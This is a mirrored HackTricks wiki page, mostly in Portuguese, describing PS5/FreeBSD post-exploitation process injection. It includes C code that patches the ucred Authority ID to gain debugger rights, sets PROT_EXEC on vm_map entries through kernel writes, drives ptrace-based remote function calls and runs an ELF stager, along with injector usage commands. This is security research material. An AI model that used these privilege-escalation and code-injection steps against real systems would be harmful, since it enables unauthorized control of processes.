mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
184 lines
9.4 KiB
Markdown
184 lines
9.4 KiB
Markdown
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Visão geral
|
||
|
||
Esta página documenta uma técnica prática de injeção de processo em usermode/ELF no PlayStation 5 (PS5), que é baseado em FreeBSD. O método se generaliza para derivados do FreeBSD quando você já possui primitivas de leitura/escrita do kernel (R/W). Em alto nível:
|
||
|
||
- Aplicar patch às credenciais do processo atual (ucred) para conceder autoridade de debugger, habilitando ptrace/mdbg em processos de usuário arbitrários.
|
||
- Encontrar processos alvo percorrendo a lista kernel allproc.
|
||
- Bypassar restrições PROT_EXEC definindo vm_map_entry.protection |= PROT_EXEC no vm_map do alvo através de escritas em memória do kernel.
|
||
- Usar ptrace para realizar Remote Function Invocation (RFI): suspender uma thread, ajustar registradores para chamar funções arbitrárias dentro do alvo, retomar, coletar valores de retorno e restaurar o estado.
|
||
- Mapear e executar payloads ELF arbitrários dentro do alvo usando um ELF loader in-process, então criar uma thread dedicada que execute seu payload e dispare um breakpoint para desanexar limpo.
|
||
|
||
Mitigações do hypervisor do PS5 a notar (contextualizadas para esta técnica):
|
||
- XOM (execute-only .text) impede leitura/escrita de .text do kernel.
|
||
- Limpar CR0.WP ou desabilitar CR4.SMEP causa um vmexit do hypervisor (crash). Apenas escritas no kernel que alterem dados são viáveis.
|
||
- mmap em userland é restrito a PROT_READ|PROT_WRITE por padrão. Conceder PROT_EXEC deve ser feito editando vm_map entries na memória do kernel.
|
||
|
||
Esta técnica é pós-exploração: assume primitivas de R/W do kernel fornecidas por uma cadeia de exploração. Payloads públicos demonstram isso até firmware 10.01 na data de escrita.
|
||
|
||
## Primitivas do kernel somente de dados
|
||
|
||
### Descoberta de processos via allproc
|
||
|
||
FreeBSD mantém uma lista duplamente ligada de processos na .data do kernel em allproc. Com uma primitiva de leitura do kernel, itere-a para localizar nomes de processos e PIDs:
|
||
```c
|
||
struct proc* find_proc_by_name(const char* proc_name){
|
||
uint64_t next = 0;
|
||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||
struct proc* proc = malloc(sizeof(struct proc));
|
||
do{
|
||
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||
} while (next);
|
||
free(proc);
|
||
return NULL;
|
||
}
|
||
|
||
void list_all_proc_and_pid(){
|
||
uint64_t next = 0;
|
||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||
struct proc* proc = malloc(sizeof(struct proc));
|
||
do{
|
||
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||
kernel_copyout(next, &next, sizeof(uint64_t));
|
||
} while (next);
|
||
free(proc);
|
||
}
|
||
```
|
||
Notas:
|
||
- KERNEL_ADDRESS_ALLPROC depende do firmware.
|
||
- p_comm é um nome de tamanho fixo; considere pid->proc lookups se necessário.
|
||
|
||
### Elevar credenciais para depuração (ucred)
|
||
|
||
No PS5, struct ucred inclui um campo Authority ID acessível via proc->p_ucred. Escrever o Authority ID do debugger concede ptrace/mdbg sobre outros processos:
|
||
```c
|
||
void set_ucred_to_debugger(){
|
||
struct proc* proc = get_proc_by_pid(getpid());
|
||
if (proc){
|
||
uintptr_t authid = 0; // read current (optional)
|
||
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||
free(proc);
|
||
}
|
||
}
|
||
```
|
||
- Offset 0x58 é específico da família de firmware do PS5 e deve ser verificado por versão.
|
||
- Após essa escrita, o injector pode anexar e instrumentar processos de usuário via ptrace/mdbg.
|
||
|
||
## Contornando mapeamentos de usuário somente RW: vm_map PROT_EXEC flip
|
||
|
||
O mmap em espaço de usuário pode estar limitado a PROT_READ|PROT_WRITE. O FreeBSD rastreia o espaço de endereçamento de um processo em um vm_map de nós vm_map_entry (BST mais lista). Cada entrada carrega os campos protection e max_protection:
|
||
```c
|
||
struct vm_map_entry {
|
||
struct vm_map_entry *prev,*next,*left,*right;
|
||
vm_offset_t start, end, avail_ssize;
|
||
vm_size_t adj_free, max_free;
|
||
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||
int wired_count; vm_pindex_t lastr;
|
||
};
|
||
```
|
||
Com kernel R/W você pode localizar o vm_map do alvo e definir entry->protection |= PROT_EXEC (e, se necessário, entry->max_protection). Notas práticas de implementação:
|
||
- Percorra as entries linearmente via next ou usando a balanced-tree (left/right) para busca O(log n) por intervalo de endereços.
|
||
- Escolha uma região RW conhecida que você controle (scratch buffer ou mapped file) e adicione PROT_EXEC para poder stage code ou loader thunks.
|
||
- O código do PS5 SDK fornece helpers para lookup rápido de map-entry e alternância de protections.
|
||
|
||
Isso contorna a política de mmap do userland editando diretamente metadata pertencente ao kernel.
|
||
|
||
## Remote Function Invocation (RFI) with ptrace
|
||
|
||
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Em vez disso, faça com que o alvo chame funções em si mesmo sob controle do ptrace:
|
||
|
||
1. Anexe-se ao alvo e selecione uma thread; PTRACE_ATTACH ou fluxos mdbg específicos do PS5 podem se aplicar.
|
||
2. Salve o contexto da thread: registers, PC, SP, flags.
|
||
3. Escreva os argument registers conforme o ABI (x86_64 SysV ou arm64 AAPCS64), defina o PC para a função alvo e, opcionalmente, coloque args/stack adicionais conforme necessário.
|
||
4. Execute passo a passo (single-step) ou continue até uma parada controlada (por exemplo, software breakpoint ou signal), então leia os valores de retorno de regs.
|
||
5. Restaure o contexto original e continue.
|
||
|
||
Casos de uso:
|
||
- Chamar um ELF loader em processo (por exemplo, elfldr_load) com um ponteiro para sua imagem ELF na memória do alvo.
|
||
- Invocar rotinas helper para recuperar entrypoints retornados e ponteiros de payload-args.
|
||
|
||
Example of driving the ELF loader:
|
||
```c
|
||
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||
intptr_t args = elfldr_payload_args(target_pid);
|
||
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||
```
|
||
The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main().
|
||
|
||
## Stager baseado em thread e detach limpo
|
||
|
||
Um stager mínimo dentro do target cria uma nova pthread que executa o main do ELF e depois aciona int3 para sinalizar ao injector que faça o detach:
|
||
```c
|
||
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||
pthread_t thread;
|
||
functions->pthread_create_ptr(&thread, 0,
|
||
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||
asm("int3");
|
||
return 0;
|
||
}
|
||
```
|
||
- Os ponteiros SCEFunctions/payload_args são fornecidos pelo loader/SDK glue.
|
||
- Após o breakpoint e detach, o payload continua em sua própria thread.
|
||
|
||
## Pipeline ponta a ponta (implementação de referência PS5)
|
||
|
||
A implementação funcional é distribuída como um pequeno servidor injetor TCP mais um script cliente:
|
||
|
||
- O servidor NineS escuta em TCP 9033 e recebe um cabeçalho contendo o nome do processo alvo seguido da imagem ELF:
|
||
```c
|
||
typedef struct __injector_data_t{
|
||
char proc_name[MAX_PROC_NAME];
|
||
Elf64_Ehdr elf_header;
|
||
} injector_data_t;
|
||
```
|
||
- Uso do cliente Python:
|
||
```bash
|
||
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||
```
|
||
Exemplo de payload Hello-world (logs to klog):
|
||
```c
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
#include <ps5/klog.h>
|
||
int main(){
|
||
klog_printf("Hello from PID %d\n", getpid());
|
||
return 0;
|
||
}
|
||
```
|
||
## Considerações práticas
|
||
|
||
- Offsets e constantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) são específicos do firmware e devem ser atualizados por release.
|
||
- As proteções do hypervisor forçam escritas no kernel apenas de dados; não tente patchar CR0.WP ou CR4.SMEP.
|
||
- Memória JIT é uma alternativa: alguns processos expõem PS5 JIT APIs para alocar páginas executáveis. A inversão da proteção vm_map remove a necessidade de depender de truques de JIT/mirroring.
|
||
- Mantenha o salvamento/restauração de registradores robusto; em caso de falha, você pode travar (deadlock) ou crashar o alvo.
|
||
|
||
## Ferramentas públicas
|
||
|
||
- PS5 SDK (ligação dinâmica, wrappers R/W do kernel, helpers de vm_map): https://github.com/ps5-payload-dev/sdk
|
||
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||
- Servidor de injeção: https://github.com/buzzer-re/NineS/
|
||
- Utilitários / helpers de vm_map: https://github.com/buzzer-re/playstation_research_utils
|
||
- Projetos relacionados: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||
|
||
## Referências
|
||
|
||
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|